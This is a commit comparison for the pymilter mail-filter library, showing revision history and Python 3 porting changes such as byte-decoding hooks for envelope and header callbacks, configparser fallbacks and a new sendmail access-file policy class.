Compare commits
62 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 5675adeb3c | |||
| 35416dfc46 | |||
| c33de064ee | |||
| 1c05080768 | |||
| dce7c0080a | |||
| 7deec90a59 | |||
| c73b533acb | |||
| 102e042a38 | |||
| 7a5c942d54 | |||
| 1b2c48d8a9 | |||
| 866201ca52 | |||
| 2744175998 | |||
| 599277855c | |||
| e7592c6a96 | |||
| 7df236127b | |||
| 1234869dd6 | |||
| f37090371b | |||
| 7ea839cfb1 | |||
| 879e65bc31 | |||
| 4c7c76fca4 | |||
| 132e8326b5 | |||
| 0efddd316a | |||
| 588153078b | |||
| 4ed12cf825 | |||
| c098f9df6b | |||
| cdae26af47 | |||
| bf3108b938 | |||
| d5f9f86bba | |||
| 805825438c | |||
| 3844751ef0 | |||
| 2b1b01c1ef | |||
| 222afcd555 | |||
| 4251fbc151 | |||
| 4749f0ff98 | |||
| 18186a3c11 | |||
| a01f598e37 | |||
| d0d45c5e61 | |||
| a1714f4838 | |||
| edc2f73375 | |||
| 6373f8965b | |||
| 10fdccf366 | |||
| 7d097fa4a0 | |||
| ca81502c85 | |||
| 50356d4710 | |||
| ec3fa46799 | |||
| 04e0b15640 | |||
| ff6a07ef10 | |||
| 7dfda0a3bd | |||
| 183ce91a61 | |||
| d30918aca7 | |||
| 4e8fda517c | |||
| 2194d8fd96 | |||
| 52e1b4ae32 | |||
| 55e5378659 | |||
| f9b2241ec6 | |||
| 62783fbbfd | |||
| d521665f75 | |||
| 55eb05e526 | |||
| fc008f6db0 | |||
| 96cd9ac263 | |||
| 10471faa7d | |||
| 36750bac78 |
@@ -1,3 +1,213 @@
|
|||||||
|
# Revision 1.35 2013/03/14 22:11:25 customdesigned
|
||||||
|
# Release 0.9.8
|
||||||
|
#
|
||||||
|
# Revision 1.34 2013/03/09 05:42:14 customdesigned
|
||||||
|
# Make TestBase members private, fix getsymlist misspelling.
|
||||||
|
#
|
||||||
|
# Revision 1.33 2013/03/09 00:25:23 customdesigned
|
||||||
|
# Better untrapped exception message. const char for doc comments.
|
||||||
|
#
|
||||||
|
# Revision 1.32 2013/01/13 01:46:16 customdesigned
|
||||||
|
# Doc updates.
|
||||||
|
#
|
||||||
|
# Revision 1.31 2012/04/12 23:32:50 customdesigned
|
||||||
|
# Replace redundant callback array with macros. If this doesn't break anything,
|
||||||
|
# macros can be eliminated with code changes.
|
||||||
|
#
|
||||||
|
# Revision 1.30 2012/04/12 23:08:06 customdesigned
|
||||||
|
# Support RFC2553 on BSD
|
||||||
|
#
|
||||||
|
# Revision 1.29 2011/06/09 15:45:27 customdesigned
|
||||||
|
# Print callback name for non-int return error.
|
||||||
|
#
|
||||||
|
# Revision 1.28 2011/06/08 23:13:48 customdesigned
|
||||||
|
# Generate special exception when callback return not int.
|
||||||
|
#
|
||||||
|
# Revision 1.27 2009/07/28 21:45:54 customdesigned
|
||||||
|
# Add getversion() to return runtime version.
|
||||||
|
#
|
||||||
|
# Revision 1.26 2009/07/28 21:08:20 customdesigned
|
||||||
|
# Increment del count.
|
||||||
|
#
|
||||||
|
# Revision 1.25 2009/07/28 20:58:55 customdesigned
|
||||||
|
# getdiag method
|
||||||
|
#
|
||||||
|
# Revision 1.24 2009/06/09 01:54:44 customdesigned
|
||||||
|
# Forgot to initialize optional parameter.
|
||||||
|
#
|
||||||
|
# Revision 1.23 2009/05/29 20:44:58 customdesigned
|
||||||
|
# Typo SMFIP_NO constants.
|
||||||
|
#
|
||||||
|
# Revision 1.22 2009/05/29 19:53:36 customdesigned
|
||||||
|
# Typo SMFIS_ALL_OPTS
|
||||||
|
#
|
||||||
|
# Revision 1.21 2009/05/29 19:49:40 customdesigned
|
||||||
|
# Typo calling helo instead of negotiate.
|
||||||
|
#
|
||||||
|
# Revision 1.20 2009/05/29 18:25:59 customdesigned
|
||||||
|
# Null terminate keyword list.
|
||||||
|
#
|
||||||
|
# Revision 1.19 2009/05/28 18:36:42 customdesigned
|
||||||
|
# Support new callbacks, including negotiate
|
||||||
|
#
|
||||||
|
# Revision 1.18 2009/05/21 21:53:05 customdesigned
|
||||||
|
# First cut at support unknown, data, negotiate callbacks.
|
||||||
|
#
|
||||||
|
# Revision 1.17 2009/02/06 04:28:08 customdesigned
|
||||||
|
# Oops! Missing options argument pointer for addrcpt.
|
||||||
|
#
|
||||||
|
# Revision 1.16 2008/12/16 04:21:05 customdesigned
|
||||||
|
# Fedora release
|
||||||
|
#
|
||||||
|
# Revision 1.15 2008/12/13 20:29:56 customdesigned
|
||||||
|
# Split off milter applications.
|
||||||
|
#
|
||||||
|
# Revision 1.14 2008/12/04 19:43:00 customdesigned
|
||||||
|
# Doc updates.
|
||||||
|
#
|
||||||
|
# Revision 1.13 2008/11/23 03:06:47 customdesigned
|
||||||
|
# Milter support for chgfrom.
|
||||||
|
#
|
||||||
|
# Revision 1.12 2008/11/21 20:42:52 customdesigned
|
||||||
|
# Support smfi_chgfrom and smfi_addrcpt_par.
|
||||||
|
#
|
||||||
|
# Revision 1.11 2007/09/25 02:26:29 customdesigned
|
||||||
|
# Update license.
|
||||||
|
#
|
||||||
|
# Revision 1.10 2006/02/12 02:00:42 customdesigned
|
||||||
|
# Resolve FIXME for wrap_close.
|
||||||
|
#
|
||||||
|
# Revision 1.9 2005/12/23 21:46:36 customdesigned
|
||||||
|
# Compile on sendmail-8.12 (ifdef SMFIR_INSHEADER)
|
||||||
|
#
|
||||||
|
# Revision 1.8 2005/10/20 23:23:36 customdesigned
|
||||||
|
# Include smfi_progress is SMFIR_PROGRESS defined
|
||||||
|
#
|
||||||
|
# Revision 1.7 2005/10/20 23:04:46 customdesigned
|
||||||
|
# Add optional idx for position of added header.
|
||||||
|
#
|
||||||
|
# Revision 1.6 2005/07/15 22:18:17 customdesigned
|
||||||
|
# Support callback exception policy
|
||||||
|
#
|
||||||
|
# Revision 1.5 2005/06/24 04:20:07 customdesigned
|
||||||
|
# Report context allocation error.
|
||||||
|
#
|
||||||
|
# Revision 1.4 2005/06/24 04:12:43 customdesigned
|
||||||
|
# Remove unused name argument to generic wrappers.
|
||||||
|
#
|
||||||
|
# Revision 1.3 2005/06/24 03:57:35 customdesigned
|
||||||
|
# Handle close called before connect.
|
||||||
|
#
|
||||||
|
# Revision 1.2 2005/06/02 04:18:55 customdesigned
|
||||||
|
# Update copyright notices after reading article on /.
|
||||||
|
#
|
||||||
|
# Revision 1.1.1.2 2005/05/31 18:09:06 customdesigned
|
||||||
|
# Release 0.7.1
|
||||||
|
#
|
||||||
|
# Revision 2.31 2004/08/23 02:24:36 stuart
|
||||||
|
# Support setbacklog
|
||||||
|
#
|
||||||
|
# Revision 2.30 2004/08/21 20:29:53 stuart
|
||||||
|
# Support option of 11 lines max for mlreply.
|
||||||
|
#
|
||||||
|
# Revision 2.29 2004/08/21 04:14:29 stuart
|
||||||
|
# mlreply support
|
||||||
|
#
|
||||||
|
# Revision 2.28 2004/08/21 02:45:21 stuart
|
||||||
|
# Don't leak int constants if module unloaded.
|
||||||
|
#
|
||||||
|
# Revision 2.27 2004/04/06 03:19:59 stuart
|
||||||
|
# Release 0.6.8
|
||||||
|
#
|
||||||
|
# Revision 2.26 2004/03/04 21:43:06 stuart
|
||||||
|
# Fix memory leak by removing unused dynamic template buffer,
|
||||||
|
# thanks again to Alexander Kourakos.
|
||||||
|
#
|
||||||
|
# Revision 2.25 2004/03/01 19:45:03 stuart
|
||||||
|
# Release 0.6.5
|
||||||
|
#
|
||||||
|
# Revision 2.24 2004/03/01 18:56:50 stuart
|
||||||
|
# Support progress reporting.
|
||||||
|
#
|
||||||
|
# Revision 2.23 2004/03/01 18:36:09 stuart
|
||||||
|
# Plug memory leak. Thanks to Alexander Kourakos.
|
||||||
|
#
|
||||||
|
# Revision 2.22 2003/11/02 03:01:46 stuart
|
||||||
|
# Adjust SMTP error codes after careful reading of standard.
|
||||||
|
#
|
||||||
|
# Revision 2.21 2003/06/24 19:57:04 stuart
|
||||||
|
# Allow removing a python milter callback by setting to None.
|
||||||
|
#
|
||||||
|
# Revision 2.20 2003/02/13 17:08:57 stuart
|
||||||
|
# IPV6 support
|
||||||
|
#
|
||||||
|
# Revision 2.19 2003/02/13 16:58:29 stuart
|
||||||
|
# Support passing None to setreply and chgheader.
|
||||||
|
#
|
||||||
|
# Revision 2.18 2002/12/11 16:44:06 stuart
|
||||||
|
# Support QUARANTINE if supported by libmilter.
|
||||||
|
#
|
||||||
|
# Revision 2.17 2002/04/18 20:20:35 stuart
|
||||||
|
# Fix for NULL hostaddr in connect callback from Jason Erickson.
|
||||||
|
#
|
||||||
|
# Revision 2.16 2001/09/26 13:29:09 stuart
|
||||||
|
# sa_len not supported by linux.
|
||||||
|
#
|
||||||
|
# Revision 2.15 2001/09/25 17:28:40 stuart
|
||||||
|
# Copyrights, documentation, release 0.3.1
|
||||||
|
#
|
||||||
|
# Revision 2.14 2001/09/25 00:36:57 stuart
|
||||||
|
# Pass hostaddr to python code in format used by standard socket module.
|
||||||
|
#
|
||||||
|
# Revision 2.13 2001/09/24 23:44:55 stuart
|
||||||
|
# Return old callback from setcallback functions.
|
||||||
|
#
|
||||||
|
# Revision 2.12 2001/09/24 20:02:30 stuart
|
||||||
|
# Remove redundant setpriv
|
||||||
|
#
|
||||||
|
# Revision 2.11 2001/09/23 22:26:35 stuart
|
||||||
|
# Update docs. Streamline Milter.py
|
||||||
|
# update testbms.py to reflect actual sendmail behaviour with multiple
|
||||||
|
# messages per connection.
|
||||||
|
#
|
||||||
|
# Revision 2.10 2001/09/22 15:33:42 stuart
|
||||||
|
# More doc comment updates.
|
||||||
|
#
|
||||||
|
# Revision 2.9 2001/09/22 14:52:27 stuart
|
||||||
|
# Actually return retval in _generic_return.
|
||||||
|
# Go over doc comments.
|
||||||
|
#
|
||||||
|
# Revision 2.8 2001/09/22 01:59:32 stuart
|
||||||
|
# Prevent reentrant call of milter_main, which libmilter doesn't support.
|
||||||
|
#
|
||||||
|
# Revision 2.7 2001/09/22 01:47:37 stuart
|
||||||
|
# Forgot to set milter interp.
|
||||||
|
#
|
||||||
|
# Revision 2.6 2001/09/22 01:23:53 stuart
|
||||||
|
# Added proper threading after research in python docs.
|
||||||
|
#
|
||||||
|
# Revision 2.5 2001/09/21 20:08:51 stuart
|
||||||
|
# Release 0.2.3
|
||||||
|
#
|
||||||
|
# Revision 2.4 2001/09/20 16:18:16 stuart
|
||||||
|
# libmilter checks in_eom state, so we don't have to.
|
||||||
|
#
|
||||||
|
# Revision 2.3 2001/09/19 06:02:33 stuart
|
||||||
|
# Make more stuff static.
|
||||||
|
#
|
||||||
|
# Revision 2.1 2001/09/19 04:24:13 stuart
|
||||||
|
# Use extension type to track context in python.
|
||||||
|
#
|
||||||
|
# Revision 1.4 2001/09/18 18:48:28 stuart
|
||||||
|
# clear private data reference in _clear_context
|
||||||
|
#
|
||||||
|
# Revision 1.3 2001/09/15 04:19:37 stuart
|
||||||
|
# nasty off by 1 mem overwrite bugs in wrap_env
|
||||||
|
# generic_set_callback
|
||||||
|
#
|
||||||
|
# Revision 1.2 2001/09/15 03:15:39 stuart
|
||||||
|
# several bugs fixed, works smoothly
|
||||||
|
#
|
||||||
# Revision 1.69 2006/11/04 22:09:39 customdesigned
|
# Revision 1.69 2006/11/04 22:09:39 customdesigned
|
||||||
# Another lame DSN heuristic. Block PTR cache poisoning attack.
|
# Another lame DSN heuristic. Block PTR cache poisoning attack.
|
||||||
#
|
#
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ PROJECT_NAME = pymilter
|
|||||||
# This could be handy for archiving the generated documentation or
|
# This could be handy for archiving the generated documentation or
|
||||||
# if some version control system is used.
|
# if some version control system is used.
|
||||||
|
|
||||||
PROJECT_NUMBER = 1.0
|
PROJECT_NUMBER = 1.0.5
|
||||||
|
|
||||||
# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute)
|
# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute)
|
||||||
# base path where the generated documentation will be put.
|
# base path where the generated documentation will be put.
|
||||||
|
|||||||
+1
-2
@@ -2,7 +2,7 @@ include COPYING
|
|||||||
include TODO
|
include TODO
|
||||||
include NEWS
|
include NEWS
|
||||||
include CREDITS
|
include CREDITS
|
||||||
include README
|
include README.md
|
||||||
include ChangeLog
|
include ChangeLog
|
||||||
include MANIFEST.in
|
include MANIFEST.in
|
||||||
include testsample.py
|
include testsample.py
|
||||||
@@ -10,7 +10,6 @@ include testmime.py
|
|||||||
include testutils.py
|
include testutils.py
|
||||||
include test.py
|
include test.py
|
||||||
include sample.py
|
include sample.py
|
||||||
include sgmllib.py
|
|
||||||
include milter-template.py
|
include milter-template.py
|
||||||
include test/*
|
include test/*
|
||||||
include Milter/*.py
|
include Milter/*.py
|
||||||
|
|||||||
+92
-9
@@ -9,11 +9,12 @@
|
|||||||
# This code is under the GNU General Public License. See COPYING for details.
|
# This code is under the GNU General Public License. See COPYING for details.
|
||||||
|
|
||||||
from __future__ import print_function
|
from __future__ import print_function
|
||||||
__version__ = '1.0.2'
|
__version__ = '1.0.5'
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import milter
|
import milter
|
||||||
|
import sys
|
||||||
try:
|
try:
|
||||||
import thread
|
import thread
|
||||||
except:
|
except:
|
||||||
@@ -180,15 +181,41 @@ def noreply(func):
|
|||||||
wrapper.milter_protocol = nr_mask
|
wrapper.milter_protocol = nr_mask
|
||||||
return wrapper
|
return wrapper
|
||||||
|
|
||||||
|
## Function decorator to set decoding error strategy.
|
||||||
|
# Current RFCs define UTF-8 as the standard encoding for SMTP
|
||||||
|
# envelope and header fields. By default, Milter.Base decodes
|
||||||
|
# envelope and header values with errors='surrogateescape'.
|
||||||
|
# Applications can recover the original bytes with
|
||||||
|
# <pre>
|
||||||
|
# b = s.encode(errors='surrogateescape')
|
||||||
|
# </pre>
|
||||||
|
# This preserves information, but can lead to unexpected exceptions
|
||||||
|
# as you cannot, e.g. print strings with surrogates.
|
||||||
|
# Illegal bytes occur quite often in real life, so there must
|
||||||
|
# be a way to deal with them.
|
||||||
|
# This decorator can change the error strategy to
|
||||||
|
# <ul>
|
||||||
|
# <li> bytes - original bytes are passed unmodified
|
||||||
|
# <li> strict - pass bytes if illegal bytes are present, string otherwise
|
||||||
|
# <li> ignore - illegal bytes are removed
|
||||||
|
# <li> replace - illegal bytes are replaced with a unicode error symbol
|
||||||
|
# </ul>
|
||||||
|
#
|
||||||
|
def decode(strategy):
|
||||||
|
def setstrategy(func):
|
||||||
|
func.error_strategy = strategy
|
||||||
|
return func
|
||||||
|
return setstrategy
|
||||||
|
|
||||||
## Function decorator to set macros used in a callback.
|
## Function decorator to set macros used in a callback.
|
||||||
# By default, the MTA sends all macros defined for a callback.
|
# By default, the MTA sends all macros defined for a callback.
|
||||||
# If some or all of these are unused, the bandwidth can be saved
|
# If some or all of these are unused, the bandwidth can be saved
|
||||||
# by listing the ones that are used.
|
# by listing the ones that are used.
|
||||||
# @since 1.0.2
|
# @since 1.0.2
|
||||||
def symlist(*syms):
|
def symlist(*syms):
|
||||||
if len(syms) > 5:
|
|
||||||
raise ValueError('@symlist limited to 5 macros by MTA: '+func.__name__)
|
|
||||||
def setsyms(func):
|
def setsyms(func):
|
||||||
|
if len(syms) > 5:
|
||||||
|
raise ValueError('@symlist limited to 5 macros by MTA: '+func.__name__)
|
||||||
if func.__name__ not in MACRO_CALLBACKS:
|
if func.__name__ not in MACRO_CALLBACKS:
|
||||||
raise ValueError('@symlist applied to non-symlist method: '+func.__name__)
|
raise ValueError('@symlist applied to non-symlist method: '+func.__name__)
|
||||||
func._symlist = syms
|
func._symlist = syms
|
||||||
@@ -320,6 +347,20 @@ class Base(object):
|
|||||||
# this almost always results in terminating the connection.
|
# this almost always results in terminating the connection.
|
||||||
@nocallback
|
@nocallback
|
||||||
def hello(self,hostname): return CONTINUE
|
def hello(self,hostname): return CONTINUE
|
||||||
|
## Called with bytes by default global envfrom callback.
|
||||||
|
# @since 1.0.5
|
||||||
|
# Converts from utf-8 to unicode with surrogate escape. Can be overriden
|
||||||
|
# to pass bytes to @link #header the header callback @endlink instead,
|
||||||
|
# or trap utf-8 conversion exception, etc.
|
||||||
|
def envfrom_bytes(self,*b):
|
||||||
|
try:
|
||||||
|
e = getattr(self.envfrom,'error_strategy','surrogateescape')
|
||||||
|
if e == 'bytes':
|
||||||
|
#self.envfrom_bytes = self.envfrom
|
||||||
|
return self.envfrom(*b)
|
||||||
|
s = [v.decode(encoding='utf-8',errors=e) for v in b]
|
||||||
|
except UnicodeDecodeError: s = b
|
||||||
|
return self.envfrom(s[0],*s[1:])
|
||||||
## Called when the SMTP client says MAIL FROM. Called by the
|
## Called when the SMTP client says MAIL FROM. Called by the
|
||||||
# <a href="milter_api/xxfi_envfrom.html">
|
# <a href="milter_api/xxfi_envfrom.html">
|
||||||
# xxfi_envfrom</a> callback.
|
# xxfi_envfrom</a> callback.
|
||||||
@@ -330,7 +371,21 @@ class Base(object):
|
|||||||
# <a href="http://tools.ietf.org/html/rfc5322">RFC 5322</a>,
|
# <a href="http://tools.ietf.org/html/rfc5322">RFC 5322</a>,
|
||||||
# see @link #header the header callback @endlink.
|
# see @link #header the header callback @endlink.
|
||||||
@nocallback
|
@nocallback
|
||||||
def envfrom(self,f,*str): return CONTINUE
|
def envfrom(self,f,*s): return CONTINUE
|
||||||
|
## Called with bytes by default global envrcpt callback.
|
||||||
|
# @since 1.0.5
|
||||||
|
# Converts from utf-8 to unicode with surrogate escape. Can be overriden
|
||||||
|
# to pass bytes to @link #header the header callback @endlink instead,
|
||||||
|
# or trap utf-8 conversion exception, etc.
|
||||||
|
def envrcpt_bytes(self,*b):
|
||||||
|
try:
|
||||||
|
e = getattr(self.envrcpt,'error_strategy','surrogateescape')
|
||||||
|
if e == 'bytes':
|
||||||
|
#self.envrcpt_bytes = self.envrcpt
|
||||||
|
return self.envrcpt(*b)
|
||||||
|
s = [v.decode(encoding='utf-8',errors=e) for v in b]
|
||||||
|
except UnicodeDecodeError: s = b
|
||||||
|
return self.envrcpt(s[0],*s[1:])
|
||||||
## Called when the SMTP client says RCPT TO. Called by the
|
## Called when the SMTP client says RCPT TO. Called by the
|
||||||
# <a href="milter_api/xxfi_envrcpt.html">
|
# <a href="milter_api/xxfi_envrcpt.html">
|
||||||
# xxfi_envrcpt</a> callback.
|
# xxfi_envrcpt</a> callback.
|
||||||
@@ -348,7 +403,30 @@ class Base(object):
|
|||||||
# @since 0.9.2
|
# @since 0.9.2
|
||||||
@nocallback
|
@nocallback
|
||||||
def data(self): return CONTINUE
|
def data(self): return CONTINUE
|
||||||
|
## Called with bytes by default global header callback.
|
||||||
|
# @param fld name decoded as ascii
|
||||||
|
# @param val field value as bytes
|
||||||
|
# @since 1.0.5
|
||||||
|
# Converts from utf-8 to unicode with surrogate escape. Can be overriden
|
||||||
|
# to pass bytes to @link #header the header callback @endlink instead,
|
||||||
|
# e.g. by assignment:
|
||||||
|
# <pre>
|
||||||
|
# mymilter.header_bytes = mymilter.header
|
||||||
|
# </pre>
|
||||||
|
# The <code>@decode('bytes')</code> decorator will also do this.
|
||||||
|
#
|
||||||
|
def header_bytes(self,fld,val):
|
||||||
|
try:
|
||||||
|
e = getattr(self.header,'error_strategy','surrogateescape')
|
||||||
|
if e == 'bytes':
|
||||||
|
self.header_bytes = self.header
|
||||||
|
return self.header(fld,val)
|
||||||
|
s = val.decode(encoding='utf-8',errors=e)
|
||||||
|
except UnicodeDecodeError: s = val
|
||||||
|
return self.header(fld,s)
|
||||||
## Called for each header field in the message body.
|
## Called for each header field in the message body.
|
||||||
|
# @param field name decoded as ascii
|
||||||
|
# @param value field value decoded as utf-8 on python3
|
||||||
@nocallback
|
@nocallback
|
||||||
def header(self,field,value): return CONTINUE
|
def header(self,field,value): return CONTINUE
|
||||||
## Called at the blank line that terminates the header fields.
|
## Called at the blank line that terminates the header fields.
|
||||||
@@ -419,12 +497,12 @@ class Base(object):
|
|||||||
func = getattr(self,func)
|
func = getattr(self,func)
|
||||||
syms = getattr(func,'_symlist',None)
|
syms = getattr(func,'_symlist',None)
|
||||||
if syms is not None:
|
if syms is not None:
|
||||||
self.setsymlist(stage,syms)
|
self.setsymlist(stage,*syms)
|
||||||
opts[1] = self._protocol = p & ~self.protocol_mask()
|
opts[1] = self._protocol = p & ~self.protocol_mask()
|
||||||
opts[2] = 0
|
opts[2] = 0
|
||||||
opts[3] = 0
|
opts[3] = 0
|
||||||
#self.log("Negotiated:",opts)
|
#self.log("Negotiated:",opts)
|
||||||
except:
|
except Exception as x:
|
||||||
# don't change anything if something went wrong
|
# don't change anything if something went wrong
|
||||||
return ALL_OPTS
|
return ALL_OPTS
|
||||||
return CONTINUE
|
return CONTINUE
|
||||||
@@ -764,9 +842,14 @@ def runmilter(name,socketname,timeout = 0,rmsock=True):
|
|||||||
# parms, but then all existing users would have to include **kw to accept
|
# parms, but then all existing users would have to include **kw to accept
|
||||||
# arbitrary keywords without crashing. We do provide envcallback and
|
# arbitrary keywords without crashing. We do provide envcallback and
|
||||||
# dictfromlist to make parsing the ESMTP args convenient.
|
# dictfromlist to make parsing the ESMTP args convenient.
|
||||||
milter.set_envfrom_callback(lambda ctx,*str: ctx.getpriv().envfrom(*str))
|
if sys.version < '3.0.0':
|
||||||
milter.set_envrcpt_callback(lambda ctx,*str: ctx.getpriv().envrcpt(*str))
|
milter.set_envfrom_callback(lambda ctx,*s: ctx.getpriv().envfrom(*s))
|
||||||
milter.set_header_callback(lambda ctx,fld,val: ctx.getpriv().header(fld,val))
|
milter.set_envrcpt_callback(lambda ctx,*s: ctx.getpriv().envrcpt(*s))
|
||||||
|
milter.set_header_callback(lambda ctx,f,v: ctx.getpriv().header(f,v))
|
||||||
|
else:
|
||||||
|
milter.set_envfrom_callback(lambda ctx,*b: ctx.getpriv().envfrom_bytes(*b))
|
||||||
|
milter.set_envrcpt_callback(lambda ctx,*b: ctx.getpriv().envrcpt_bytes(*b))
|
||||||
|
milter.set_header_callback(lambda ctx,f,v: ctx.getpriv().header_bytes(f,v))
|
||||||
milter.set_eoh_callback(lambda ctx: ctx.getpriv().eoh())
|
milter.set_eoh_callback(lambda ctx: ctx.getpriv().eoh())
|
||||||
milter.set_body_callback(lambda ctx,chunk: ctx.getpriv().body(chunk))
|
milter.set_body_callback(lambda ctx,chunk: ctx.getpriv().body(chunk))
|
||||||
milter.set_eom_callback(lambda ctx: ctx.getpriv().eom())
|
milter.set_eom_callback(lambda ctx: ctx.getpriv().eom())
|
||||||
|
|||||||
+12
-7
@@ -1,4 +1,7 @@
|
|||||||
from ConfigParser import ConfigParser
|
try:
|
||||||
|
from configparser import ConfigParser
|
||||||
|
except:
|
||||||
|
from ConfigParser import ConfigParser
|
||||||
import os.path
|
import os.path
|
||||||
|
|
||||||
class MilterConfigParser(ConfigParser):
|
class MilterConfigParser(ConfigParser):
|
||||||
@@ -11,10 +14,10 @@ class MilterConfigParser(ConfigParser):
|
|||||||
# which screws up iterating over all options in a section.
|
# which screws up iterating over all options in a section.
|
||||||
# Worse, passing "defaults" with vars= overrides the config file!
|
# Worse, passing "defaults" with vars= overrides the config file!
|
||||||
# So we roll our own defaults.
|
# So we roll our own defaults.
|
||||||
def get(self,sect,opt):
|
def get(self,sect,opt,fallback=None,**kwds):
|
||||||
if not self.has_option(sect,opt) and opt in self.defaults:
|
if not self.has_option(sect,opt) and not fallback and opt in self.defaults:
|
||||||
return self.defaults[opt]
|
return self.defaults[opt]
|
||||||
return ConfigParser.get(self,sect,opt)
|
return ConfigParser.get(self,sect,opt,fallback=fallback,**kwds)
|
||||||
|
|
||||||
def getlist(self,sect,opt):
|
def getlist(self,sect,opt):
|
||||||
if self.has_option(sect,opt):
|
if self.has_option(sect,opt):
|
||||||
@@ -31,7 +34,8 @@ class MilterConfigParser(ConfigParser):
|
|||||||
if q.startswith('file:'):
|
if q.startswith('file:'):
|
||||||
domain = q[5:].lower()
|
domain = q[5:].lower()
|
||||||
fname = os.path.join(dir,domain)
|
fname = os.path.join(dir,domain)
|
||||||
d[domain] = d.setdefault(domain,[]) + open(fname,'r').read().split()
|
with open(fname,'r') as fp:
|
||||||
|
d[domain] = d.setdefault(domain,[]) + fp.read().split()
|
||||||
else:
|
else:
|
||||||
user,domain = q.split('@')
|
user,domain = q.split('@')
|
||||||
d.setdefault(domain.lower(),[]).append(user)
|
d.setdefault(domain.lower(),[]).append(user)
|
||||||
@@ -49,8 +53,9 @@ class MilterConfigParser(ConfigParser):
|
|||||||
addr = addr.strip()
|
addr = addr.strip()
|
||||||
if addr.startswith('file:'):
|
if addr.startswith('file:'):
|
||||||
fname = os.path.join(dir,addr[5:])
|
fname = os.path.join(dir,addr[5:])
|
||||||
for a in open(fname,'r').read().split():
|
with open(fname,'r') as fp:
|
||||||
d[a] = q
|
for a in fp.read().split():
|
||||||
|
d[a] = q
|
||||||
else:
|
else:
|
||||||
d[addr] = q
|
d[addr] = q
|
||||||
return d
|
return d
|
||||||
|
|||||||
+2
-2
@@ -26,8 +26,8 @@ def DNSLookup(name, qtype):
|
|||||||
# A RR as dotted quad. For consistency, this driver should
|
# A RR as dotted quad. For consistency, this driver should
|
||||||
# return both as binary string.
|
# return both as binary string.
|
||||||
return [((a['name'], a['typename']), a['data']) for a in resp.answers]
|
return [((a['name'], a['typename']), a['data']) for a in resp.answers]
|
||||||
except IOError, x:
|
except IOError as x:
|
||||||
raise DNSError, str(x)
|
raise DNSError(str(x))
|
||||||
|
|
||||||
class Session(object):
|
class Session(object):
|
||||||
"""A Session object has a simple cache with no TTL that is valid
|
"""A Session object has a simple cache with no TTL that is valid
|
||||||
|
|||||||
+8
-5
@@ -72,10 +72,13 @@
|
|||||||
from __future__ import print_function
|
from __future__ import print_function
|
||||||
import smtplib
|
import smtplib
|
||||||
import socket
|
import socket
|
||||||
from email.Message import Message
|
try:
|
||||||
|
from email.message import Message
|
||||||
|
except:
|
||||||
|
from email.Message import Message
|
||||||
import Milter
|
import Milter
|
||||||
|
import Milter.dns as dns
|
||||||
import time
|
import time
|
||||||
import dns
|
|
||||||
|
|
||||||
## Send DSN.
|
## Send DSN.
|
||||||
# Try the published MX names in order, rejecting obviously bogus entries
|
# Try the published MX names in order, rejecting obviously bogus entries
|
||||||
@@ -142,13 +145,13 @@ def send_dsn(mailfrom,receiver,msg=None,timeout=600,session=None,ourfrom=''):
|
|||||||
if badrcpts:
|
if badrcpts:
|
||||||
return badrcpts
|
return badrcpts
|
||||||
return None # success
|
return None # success
|
||||||
except smtplib.SMTPRecipientsRefused,x:
|
except smtplib.SMTPRecipientsRefused as x:
|
||||||
if len(x.recipients) == 1:
|
if len(x.recipients) == 1:
|
||||||
return x.recipients.values()[0] # permanent error
|
return x.recipients.values()[0] # permanent error
|
||||||
return x.recipients
|
return x.recipients
|
||||||
except smtplib.SMTPSenderRefused,x:
|
except smtplib.SMTPSenderRefused as x:
|
||||||
return x.args[:2] # does not accept DSN
|
return x.args[:2] # does not accept DSN
|
||||||
except smtplib.SMTPDataError,x:
|
except smtplib.SMTPDataError as x:
|
||||||
return x.args # permanent error
|
return x.args # permanent error
|
||||||
except smtplib.SMTPException:
|
except smtplib.SMTPException:
|
||||||
pass # any other error, try next MX
|
pass # any other error, try next MX
|
||||||
|
|||||||
@@ -0,0 +1,87 @@
|
|||||||
|
try:
|
||||||
|
try:
|
||||||
|
from berkeleydb import db
|
||||||
|
except:
|
||||||
|
from bsddb3 import db
|
||||||
|
class DB(object):
|
||||||
|
def open(self,fname,mode):
|
||||||
|
if mode == 'r': flags = db.DB_RDONLY
|
||||||
|
else: raise RuntimeException('unsupported mode')
|
||||||
|
self.f = db.DB()
|
||||||
|
self.f.open(fname,flags=flags)
|
||||||
|
def __contains__(self,key):
|
||||||
|
return not not self.f.get(key)
|
||||||
|
def __getitem__(self,key):
|
||||||
|
v = self.f.get(key)
|
||||||
|
if not v: raise KeyError(key)
|
||||||
|
return v
|
||||||
|
def close(self):
|
||||||
|
self.f.close()
|
||||||
|
def dbmopen(fname,mode):
|
||||||
|
f = DB()
|
||||||
|
f.open(fname,mode)
|
||||||
|
return f
|
||||||
|
except ModuleNotFoundError: raise
|
||||||
|
except:
|
||||||
|
import anydbm as dbm
|
||||||
|
dbmopen = dbm.open
|
||||||
|
|
||||||
|
class MTAPolicy(object):
|
||||||
|
"Get SPF policy by result from sendmail style access file."
|
||||||
|
def __init__(self,sender,conf,access_file=None):
|
||||||
|
if not access_file:
|
||||||
|
access_file = conf.access_file
|
||||||
|
self.use_nulls = conf.access_file_nulls
|
||||||
|
try:
|
||||||
|
self.use_colon = conf.access_file_colon
|
||||||
|
except:
|
||||||
|
self.use_colon = True
|
||||||
|
self.sender = sender
|
||||||
|
self.domain = sender.split('@')[-1].lower()
|
||||||
|
self.acf = None
|
||||||
|
self.access_file = access_file
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
if self.acf:
|
||||||
|
self.acf.close()
|
||||||
|
|
||||||
|
def __enter__(self):
|
||||||
|
self.acf = None
|
||||||
|
if self.access_file:
|
||||||
|
try:
|
||||||
|
self.acf = dbmopen(self.access_file,'r')
|
||||||
|
except:
|
||||||
|
print('%s: Cannot open for reading'%self.access_file)
|
||||||
|
raise
|
||||||
|
return self
|
||||||
|
def __exit__(self,t,v,b): self.close()
|
||||||
|
|
||||||
|
def getPolicy(self,pfx):
|
||||||
|
acf = self.acf
|
||||||
|
if not acf: return None
|
||||||
|
if self.use_nulls: sfx = b'\x00'
|
||||||
|
else: sfx = b''
|
||||||
|
if self.use_colon:
|
||||||
|
sep = b':'
|
||||||
|
else:
|
||||||
|
sep = b'!'
|
||||||
|
